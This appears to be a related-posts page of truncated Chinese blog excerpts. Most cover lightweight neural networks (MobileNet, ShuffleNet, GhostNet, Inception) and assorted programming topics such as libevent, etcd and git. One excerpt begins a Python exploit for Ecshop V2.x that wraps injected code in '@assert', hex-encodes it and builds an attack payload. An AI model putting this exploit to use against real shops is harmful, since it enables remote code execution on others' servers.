MobileNet系列很重要的轻量级网络家族,出自谷歌,MobileNetV1使用深度可分离卷积来构建轻量级网络,MobileNetV2提出创新的inverted residual with linear bottleneck单元,虽然层数变多了,但是整体网络准确率和速度都有提升,MobileNetV3则结合AutoML技术以及人工微调进行更轻量级的网络构建   来源:晓飞的算法工程笔记 公众号 MobileNetV1 论文: MobileNets: Efficient Convolutiona…

ShuffleNet系列是轻量级网络中很重要的一个系列,ShuffleNetV1提出了channel shuffle操作,使得网络可以尽情地使用分组卷积来加速,而ShuffleNetV2则推倒V1的大部分设计,从实际出发,提出channel split操作,在加速网络的同时进行了特征重用,达到了很好的效果 来源:晓飞的算法工程笔记 公众号 ShuffleNet V1 论文: ShuffleNet: An Extremely Efficient Convolutional Neural Netwo…

SqueezeNet系列是比较早期且经典的轻量级网络,SqueezeNet使用Fire模块进行参数压缩,而SqueezeNext则在此基础上加入分离卷积进行改进.虽然SqueezeNet系列不如MobieNet使用广泛,但其架构思想和实验结论还是可以值得借鉴的.   来源:晓飞的算法工程笔记 公众号 SqueezeNet 论文: SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model size 论…

前言 深度卷积网络除了准确度,计算复杂度也是考虑的重要指标.本文列出了近年主流的轻量级网络,简单地阐述了它们的思想.由于本人水平有限,对这部分的理解还不够深入,还需要继续学习和完善. 最后我参考部分列出来的文章都写的非常棒,建议继续阅读. 复杂度分析 理论计算量(FLOPs):浮点运算次数(FLoating-point Operation) 参数数量(params):单位通常为M,用float32表示. 对比 std conv(主要贡献计算量) params:\(k_h\times k_w\ti…

一. PVANet 论文:PVANET: Deep but Lightweight Neural Networks for Real-time Object Detection    [点击下载] Caffe代码:[Github] 设计了一种轻量级的网络,取名叫 PVANet,特点是 Channel少.Layer多,在 VOC2007 和 VOC2012  精确度分别达到了 84.9% 和 84.2%,但计算量不到采用 ResNet-101 网络的 10%. 论文的核心要点: 1)改进的 C.R…

ESPNet系列的核心在于空洞卷积金字塔,每层具有不同的dilation rate,在参数量不增加的情况下,能够融合多尺度特征,相对于深度可分离卷积,深度可分离空洞卷积金字塔性价比更高.另外,HFF的多尺度特征融合方法也很值得借鉴   来源:晓飞的算法工程笔记 公众号 ESPNet 论文: ESPNet: Efficient Spatial Pyramid of Dilated Convolutions for Semantic Segmentation 论文地址:https://arxiv.o…

项目实现:GitHub 参考博客:CNN模型之ShuffleNet v1论文:ShuffleNet: An Extremely Efficient Convolutional Neural Network for Mobile Devices v2论文:ShuffleNet V2: Practical Guidelines for Ecient CNN Architecture Design 一.分组卷积 Group convolution是将输入层的不同特征图进行分组,然后采用不同的卷积核再对…

YOLO V2 YOLO V2是在YOLO的基础上,融合了其他一些网络结构的特性(比如:Faster R-CNN的Anchor,GooLeNet的\(1\times1\)卷积核等),进行的升级.其目的是弥补YOLO的两个缺陷: YOLO中的大量的定位错误 和基于区域推荐的目标检测算法相比,YOLO的召回率(Recall)较低. YOLO V2的目标是:在保持YOLO分类精度的同时,提高目标定位的精度以及召回率.其论文地址: YOLO 9000:Better,Faster,Stronger. YO…

论文地址:MobileNetV2: Inverted Residuals and Linear Bottlenecks 前文链接:『高性能模型』深度可分离卷积和MobileNet_v1 一.MobileNet v1 的不足 Relu 和数据坍缩 Moblienet V2文中提出,假设在2维空间有一组由 个点组成的螺旋线 数据,经随机矩阵 映射到 维并进行ReLU运算,即: 再通过 矩阵的广义逆矩阵 将 映射回2维空间: 对比 和 发现,当映射维度 时,数据坍塌:当 时,数据基本被保存.虽然这不是…

0 - 背景 在经过了inception v1的基础上,google的人员还是觉得有维度约间的空间,在<Rethinking the Inception Architecture for Computer Vision>一文中,通过卷积分解.网格约间等方式来修改inception模块.当然了在BN那篇论文的附录部分也多少涉及到v2的设计方向. 因为第一篇论文并没有详细说明设计inception v1的一些具体原理,而其主要是从如何减小模型的参数量上下手,所以v3上对这部分做了个简单的原则说明:…

论文地址 Inception V1 :Going Deeper with Convolutions Inception-v2 :Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Inception-v3 :Rethinking the Inception Architecture for Computer Vision Inception-v4 :Inception-Res…

from:https://blog.csdn.net/qq_14845119/article/details/73648100 Inception v1的网络,主要提出了Inceptionmodule结构(1*1,3*3,5*5的conv和3*3的pooling组合在一起),最大的亮点就是从NIN(Network in Network)中引入了1*1 conv,结构如下图所示,代表作GoogleNet 假设previous layer的大小为28*28*192,则, a的weights大小,1*…

Libevent is a library for writing fast portable nonblocking IO. libevent是一个为编写快速可移植的非阻塞IO程序而设计的. libevent组件 libevent包括了以下组件: 1. evutil Generic functionality to abstract out the differences between different platforms' networking implementations. 用于抽象…

本文是关于libevent库第一篇博文,主要由例子来说明如何利用该库.后续博文再深入研究该库原理. libevent库简介 就如libevent官网上所写的“libevent - an event notification library”,libevent就是一个基于事件通知机制的库,支持/dev/poll.kqueue.event ports.select.poll和epoll事件机制,也因此它是一个跨操作系统的库(支持Linux.*BSD.Mac OS X.Solaris.Windows等…

react-router v4 是完全重写的,所以没有简单的迁移方式,这份指南将为您提供一些步骤,以帮助您了解如何升级应用程序. 注意: 这份迁移指南适用于react-router v2和v3,但为简洁起见,对以前版本的引用仅提及v3. The Router Routes 路由嵌套 on* 属性 Switch The Router 在react-router v3中,仅有一个<Router> 组件,需要提供 history 对象作为他的属性 (prop). 此外,您可以使用 routes 作为…

V1,V2已经不被推荐使用,谷歌强烈推荐使用V3. 本人在选择时着实纠结了良久,现在总结如下: 对于V1,现在已经申请不到API KEY了,所以不要使用这个版本.这个是网址:https://developers.google.com/maps/documentation/android/v1/maps-api-signup: 对于V2,要求ANDROID SDK版本3.0以上好像,所以如果你的目标手机的版本是<3的话,V2也不适合:这个版本还是需要密钥的: 对于V3,符合以上两种情况的,就用V3…

Changing from APIv2.0 to APIv3 in Keystone - Openstack Juno on Ubuntu 1. 更换v3 的policy文件 mv /etc/keystone/policy.json /etc/keystone/policy.json.bak cp /opt/stack/keystone/etc/policy.v3cloudsample.json /etc/keystone/policy.json Step 2: Update Keystone…

Bash游戏V1 有一堆石子共同拥有N个. A B两个人轮流拿.A先拿.每次最少拿1颗.最多拿K颗.拿到最后1颗石子的人获胜.如果A B都很聪明,拿石子的过程中不会出现失误.给出N和K,问最后谁能赢得比赛. 比如N = 3.K = 2.不管A怎样拿,B都能够拿到最后1颗石子. Input 第1行:一个数T.表示后面用作输入測试的数的数量.(1 <= T <= 10000) 第2 - T + 1行:每行2个数N,K.中间用空格分隔.(1 <= N,K <= 10^9) Output…

原文:https://blog.csdn.net/kozazyh/article/details/79586530 ----------------------------------------------------- etcd2和etcd3是不兼容的,两者的api参数也不一样,详细请查看 etcdctl -h .可以使用api2 和 api3 写入 etcd3 数据,但是需要注意,使用不同的api版本写入数据需要使用相应的api版本读取数据. api 2 使用方法 ETCDCTL_API=…

1040 最大公约数之和 给出一个n,求1-n这n个数,同n的最大公约数的和.比如:n = 6 1,2,3,4,5,6 同6的最大公约数分别为1,2,3,2,1,6,加在一起 = 15 输入 1个数N(N <= 10^9) 输出 公约数之和 输入样例 6 输出样例 15 题解 \[ \sum_{i=1}^n\gcd(i,n)=\sum_{d|n}d\varphi(n) \] 暴力搞就行了. 1188 最大公约数之和 V2 给出一个数N,输出小于等于N的所有数,两两之间的最大公约数之和. 相当于计…

前言 \(HE\)沾\(BJ\)的光成功滚回家里了...这堆最大子段和的题抠了半天,然而各位\(dalao\)们都已经去做概率了...先%为敬. 引流之主:老姚的博客 最大M子段和 V1 思路 最简单的ver.数据范围在5000以内,可以考虑暴力一点的做法\(O(n^3)\),定义\(dp\)状态\(dp[i][j]\),递推式子: \[dp[i][j]=max\{dp[i-1][j],dp[k][j-1]\}+a[i]\ (j-1\le k<i) \] 其中\(i\)表示序列中前\(i\)个元…

import requests import binascii def get_v2Payload(code): '''Ecshop V2.x payload''' code = "{$abc'];@assert(%s);//}" %(code) # print(code) code = code.encode() shellcode = binascii.hexlify(code).decode() payload = "554fcae493e564ee0dc75bdf2e…

基于事件的非阻塞网络编程是编写高性能并发网络服务程序的主流模式,头一次使用这种模式编程需要转换思维模式 .把原来的"主动调用recv()来接收数据,主动调用accept()来接受连接,主动调用send()来发送数据"的思路换成"注册一个接收数据的回调,基础网络库收到数据会调用我,将数据传给我,供我消费:注册一个接受连接的回调,网络库接受了新连接会回调我,将新的接对象给我,供我使用:需要发数据的时候,只管往连接中写,网络库会负责无阻塞的发送."事件处理函数应该避免阻塞…

CS8900A数据手册:http://www.cirrus.com/cn/products/cs8900a.html 1.概述 CS8900A是CIRRUS LOGIC公司生产的低功耗.性能优越的16位以太网控制器,集成了以下五大功能模块: (1).带24毫安驱动的直接ISA总线接口,可选择配置4个中断号和3个DMA通道. (2).片内4K字节RAM,是CS8900A网络芯片的控制寄存器和数据收发缓冲器,可工作在内存映射模式.I/O端口模式或者扩展的DMA模式下. (3).MAC Engine,…

1. 生成一个补丁 git format-patch --subject-prefix=v2 -1 那么生成的patch文件就会有如下类似的信息: Subject: [v2] your description about the patch 2. 那么若是同时生成两个补丁呢? git format-patch --subject-prefix=v2, -1 生成的两个patch文件就会有如下类似信息: Subject: [v2, 1/2] your description about the p…

为了减少神经网络的计算消耗,论文提出Ghost模块来构建高效的网络结果.该模块将原始的卷积层分成两部分,先使用更少的卷积核来生成少量内在特征图,然后通过简单的线性变化操作来进一步高效地生成ghost特征图.从实验来看,对比其它模型,GhostNet的压缩效果最好,且准确率保持也很不错,论文思想十分值得参考与学习   来源:晓飞的算法工程笔记 公众号 论文: GhostNet: More Features from Cheap Operations 论文地址:https://arxiv.org/a…

http://linux-ha.org http://linux-ha.org/wiki/Pacemaker Heartbeat2 http://blog.taggesell.de/index.php?/archives/83-How-To-Build-A-Heartbeat-Cluster.html apt-get install heartbeat-2 heartbeat-2-gui xauth Heartbeat3 apt-get install heartbeat pacemaker H…

题意:就是求石子归并. 题解:当范围在100左右是可以之间简单的区间dp,如果范围在1000左右就要考虑用平行四边形优化. 就是多加一个p[i][j]表示在i到j内的取最优解的位置k,注意能使用平行四边形优化的条件: 1.证明w满足四边形不等式,这里w是m的附属量,形如m[i,j]=opt{m[i,k]+m[k,j]+w[i,j]},此时大多要先证明w满足条件才能进一步证明m满足条件 2.证明m满足四边形不等式 3.证明s[i,j-1]≤s[i,j]≤s[i+1,j] .如果在10000左右时就…

http://blog.csdn.net/map_lixiupeng/article/details/40861791 http://blog.csdn.net/map_lixiupeng/article/details/40861475…

官方地址:https://docs.fluentd.org/quickstart/td-agent-v2-vs-v3-vs-v4…